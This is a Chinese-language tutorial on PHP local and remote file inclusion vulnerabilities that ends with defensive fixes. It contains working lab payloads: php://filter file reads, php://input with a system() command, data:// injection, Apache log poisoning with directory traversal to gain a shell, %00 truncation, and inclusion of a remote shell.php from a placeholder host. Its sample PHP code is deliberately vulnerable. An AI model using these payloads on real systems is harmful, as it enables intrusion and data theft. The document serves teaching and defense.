阅读本专栏的必备知识
- 扎实的计算机基础知识(数据结构与算法、计算机网络等)
- 熟悉
HTTP
/HTTPS
协议 - 熟练使用
Linux
操作系统,熟悉常见的运维管理操作,熟悉LAMP
、LNMP
等网站环境。 - 熟悉
PHP
、Python
编程语言基本语法和功能 - 熟悉
HTML
、CSS
、JavaScript
,能使用开发框架最佳 - 熟悉
MySQL
、Microsoft SQL Server
、Oracle
、Redis
等主流数据库产品 - 熟悉常见的网站中间件,如
Apache
、Nginx
- 初步了解网络安全、Web安全的概念,粗略了解
OWASP TOP 10
- 初步掌握常见的安全工具(
BurpSuite
等)
简介—-什么是文件包含漏洞
文件包含漏洞(File Inclusion),是指程序在使用包含文件的函数时,用户可以控制文件包含的参数,而且程序未对传入的值进行严格审查,导致包含了一些具有危害性的脚本代码的漏洞。
在实际开发过程中,很多时候会用到一些重复的代码,这时开发人员会将重复的代码写成函数,放到一个单独的文件里(底层代码),然后在别的文件中去包含底层代码文件,以使用这些函数。这时如果包含函数的参数被用户控制,就会造成非常大的安全隐患。
本文将以PHP语言为例,介绍该漏洞的原理、利用方法和防御方法。
预备知识
PHP实现文件包含
在PHP语言中,可以轻松地使用以下四个函数进行文件包含:
名称 | 说明 |
---|---|
include() | 包含一个文件,如错误则抛出警告 |
include_once() | 包含一个文件仅一次,和上面类似 |
require() | 包含一个文件,如错误则报错并停止脚本 |
require_once() | 包含一个文件仅一次,和上面类似 |
下面的示例代码以个人网站为例,演示了PHP文件包含的方法:
# index.php -- 网站主页
<?php
include('config.php');
echo("欢迎来到Bronyaの个人博客!");
echo("<hr style=\"width:1400px;height:4px\">");
die(getServerInfo());
?>
# config.php -- Web应用配置文件
<?php
function getServerInfo(){
phpinfo();
}
?>
可以看到网站主页已经包含了phpinfo()
函数的输出内容:
注:无论是什么类型的文件,只要其中含有合法PHP代码,PHP就可以包含并执行;如果没有,就会以纯文本形式显示文件中的内容。
PHP伪协议
在PHP中,开发人员封装了很多URL格式的Web协议(俗称伪协议),可以便捷地使用PHP的一些功能,它们的本质都是执行了PHP中的某个函数。原本开发人员设计该功能时只考虑到了方便程序员使用,但现在来看任意使用它是非常危险的。
PHP中一共有如下12种封装的协议:
协议 | 解释 |
---|---|
php:// | 访问PHP I/O流(php://input 、php://filter ) |
ssh2:// | Secure Shell 2 |
data:// | 访问数据流 |
file:// | 读取本地文件 |
zlib:// | 访问压缩流 |
phar:// | PHP归档 |
http:// | 访问HTTP(S)网址 |
ftp:// | 访问FTP服务 |
ogg:// | 音频流 |
glob:// | 查找匹配的文件路径模式 |
rar:// | 访问RAR压缩文件 |
expect:// | 处理交互式流 |
其中php://
协议需要打开PHP配置文件中的allow_url_fopen
选项,data://
协议需要同时打开allow_url_fopen
和allow_url_include
两个选项。
使用php://input可以通过POST方法操作PHP输入流,导致任意命令执行。
使用php://filter可以读取任意文件,造成源码泄露。
常见伪协议使用方法:
# php://filter
http://127.0.0.1/index.php?jumpTo=php://filter/read=convert.base64-encode/resource=xxx.php
# php://input
http://127.0.0.1/index.php?jumpTo=php://input [POSTDATA]<?php phpinfo();?>
# file://
http://127.0.0.1/index.php?jumpTo=file://<文件路径>
# data://
http://127.0.0.1/index.php?jumpTo=data://text/plain,<?php phpinfo(); ?>
http://127.0.0.1/index.php?jumpTo=data://text/plain;base64,PD9waHAgcGhwaW5mbygpOyA/Pg==
Apache日志文件
Apache服务器中有两种日志:
access.log
— 网络请求日志error.log
— 错误日志
access.log的作用记录网站的访问信息,格式如下:
表头名 | 解释 |
---|---|
客户端IP | 访问者的IP地址 |
访问者的EMail | 此项年代久远,早已弃用,用- 替代 |
访问者的身份认证 | 一般用- 替代 |
访问时间 | 记录服务器时间 |
请求记录 | 记录请求方法、URL和协议 |
HTTP状态码 | 记录返回的状态码 |
字节数 | 记录向客户端发送的字节数 |
error.log
记录错误信息。
文件包含漏洞分类
在PHP中,
include()
等函数既可以包含本地文件,也可通过PHP伪协议
包含远程文件。如果对传入的URL参数不做合理限制,就会造成漏洞。因此文件包含漏洞可分为本地文件包含漏洞和远程文件包含漏洞两种。
下面演示如何让PHP包含远程文件:
<?php
echo("<h2>远程文件包含演示</h2>");
$includeFile = $_GET['fileurl'];
if(isset($includeFile)){
include($includeFile)
} else die("<p style=\"color:red;\">未设置远程文件URL!</p>")
?>
按照一般情况来说,$includeFile
的值通常是本地文件的路径,但我们不一样,我们可以这么干:
http://http://127.0.0.1/index.php?fileurl=php://filter/read=convert.base64-encode/resource=flag.txt
可以看到我们成功读取了主机上的文件。
注意:请打开
allow_url_fopen
和allow_url_include
两个配置项!
本地文件包含漏洞
本地文件包含漏洞(LFI,Local File Include),是指开发人员未对用户传入的文件包含参数进行严格审查,导致程序包含了处于本地的恶意脚本的漏洞。(如PHP一句话)
下面通过举例的方式来解释该漏洞:
一天,王小美同学心血来潮,写了一个较为简陋的个人主页,网站的目录结构如下(假设已经被人挂上了一句话木马),index.php
通过文件包含的方式进行网页跳转:
网站部分源代码如下:
<?php
$link=$_GET['jumpTo'];
include($link);
?>
......
<body>
......
<p>Name: 甘雨</p><br>
<p>Age: 3000+</p><br>
<p>我是女生</p><br>
<a href="./index.php?jumpTo=jobs.php">我的工作</a> <a href="./index.php?jumpTo=hobby.php">我的兴趣爱好</a>
</body>
此时一般访问者可以点击链接访问其它页面。但如果攻击者想要访问自己的一句话木马,只需要构造如下链接:
http://127.0.0.1/file_include/index.php?jumpTo=shell.jpg
由于王小美同学的粗心大意,她没有在后端控制include()
函数的参数合法性,于是攻击者输入了一句话木马的地址,程序就包含了一句话木马。
Apache日志包含漏洞
事实上,王小美同学写的后端代码不仅有文件包含漏洞,还有目录穿越漏洞。如果在参数中加上../
(表示回到上层目录),可以读取处于上层目录的文件。前面已经介绍过,Apache会自动记录请求信息,所以我们如果确定目标网站使用Apache,就可以使用BurpSuite发送如下请求,把PHP一句话写进access.log
里:
GET /<?php phpinfo();?> HTTP/1.1
此时我们可以看到access.log
中已经有了该条记录:
127.0.0.1 - - [14/Sep/2022:11:50:48 +0800] "GET /<?php phpinfo();?>" 400 2220
再配合目录穿越漏洞读取access.log
,即可获得shell。
注:如果不知道日志文件的地址,可以把参数设置成一个不存在的文件名,比如
?jumpTo=114514
,这样网页会报错显示网站的绝对路径(如果没有屏蔽报错),使用了各种面板的会显示面板的错误信息,可以以此来判断日志路径。
截断攻击
复现环境:PHP < 5.3.4,magic_quotes_gpc=Off
经过之前的惨痛教训,王小美同学修改了网站源码,对传入的参数进行了处理:将其和.php
字符串进行拼接,并关闭了报错,防止攻击者探查出网站的绝对路径。
<?php
error_reporting(E_ERROR);
ini_set("display_errors","Off");
if (isset($_GET['jumpTo'])) {
include($_GET['jumpTo'].".php");
} else {
// Do nothing.
}
?>
......
<body>
......
<p>Name: 甘雨</p><br>
<p>Age: 3000+</p><br>
<p>我是女生</p><br>
<a href="./index.php?jumpTo=jobs">我的工作</a> <a href="./index.php?jumpTo=hobby">我的兴趣爱好</a>
</body>
但你以为这就结束了吗?
在ASCII字符集中,%00
代表的是字符串的结束,也就是说,如果在一串字符的中间插入%00
,那么后面的字符串会被丢弃。如果把参数值改为shell.jpg%00
,那么之后拼接的.php
将被include
方法所忽略。这样就能成功访问一句话木马。
远程文件包含漏洞
远程文件包含漏洞(RFI,Remote File Include),是指开发人员未限制包含的文件对象,加上PHP的不合理配置,导致程序包含了其它域(网站)中的危险脚本的漏洞。其本质是使用PHP伪协议进行包含。
复现环境:allow_url_include=On,allow_url_fopen=On
无限制远程文件包含漏洞的复现比较简单。只需要在参数之后加上危险脚本的URL即可。
比如:http://127.0.0.1/file_include/index.php?jumpTo=http://www.xxx.com/shell.php
有限制远程文件包含截断方法
- 使用
?
绕过,问号之后的字符串会被当做查询参数丢弃。 - 使用
%20
绕过。
使用伪协议控制PHP输入流
复现环境:allow_url_include=On
前面已经介绍过,使用php://input
可以控制PHP的输入流。假设主页代码为这样:
<?php
$link=$_GET['jumpTo'];
include($link);
?>
此时我们可以通过BurpSuite将参数改为php://input
,控制了PHP输入流:
GET /file_include/index.php?jumpTo=php://input HTTP/1.1
Host: 127.0.0.1
......
Sec-Fetch-User: ?1
<?php system("ipconfig/all"); ?>
此时我们已经把显示主机IP地址信息的命令“输入”到了PHP中。
小结
- PHP文件包含漏洞是开发人员未严格限制包含参数而产生的漏洞。
- 该漏洞分为本地文件包含漏洞和远程文件包含漏洞。
- 该漏洞有可能导致目录穿越,读取系统关键数据。(如Apache日志等)
- 远程文件包含漏洞本质上使用了PHP伪协议,使用
php://input
会产生更大的危害。
如何防御?
1.调整PHP的不合理配置
本文中所介绍的漏洞,有相当一部分是由于PHP配置文件中的不合理配置导致被利用。下面是推荐的配置项:
- magic_quotes_gpc=On,将参数中的异常字符进行转义。
- allow_url_include=Off,禁止将URL作为文件打开处理。
- allow_url_fopen=Off,禁止
include()
和require()
打开URL作为文件处理。
2.过滤异常字符
检查参数,如果参数中含有%
,#
,;
等不需要的字符,将其去掉或者拒绝请求。
3.更改Apache日志路径
具体可以参考其他大佬的文章,这里不过多阐述。
4.写死包含的路径或文件名(最根本)
造成文件包含漏洞的原因99%都是包含的文件名由用户控制,我们只需要将参数的控制权拿回自己手里就可以规避这99%的风险。具体代码如下:
<?php
header("Content-type:text/html;charset=utf-8");
error_reporting(E_ERROR);
ini_set("display_errors","Off");
$link=$_GET['jumpTo'];
if (isset($link)) {
switch ($link) {
case 'job':
include('./jobs.php');
break;
case 'hobby':
include('./hobby.php');
break;
default:
die("风雪的缩影,如琉璃般飘落......");
break;
}
} else {
// Do nothing.
}
?>
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta http-equiv="X-UA-Compatible" content="IE=edge">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>王小美の主页</title>
</head>
<body>
<h1 style="text-align: center;">个人主页</h1>
<br>
<img src="./img/ganyu.png">
<br>
<p>Name: 甘雨</p><br>
<p>Age: 3000+</p><br>
<p>我是女生</p><br>
<a href="./index.php?jumpTo=job">我的工作</a> <a href="./index.php?jumpTo=hobby">我的兴趣爱好</a>
</body>
</html>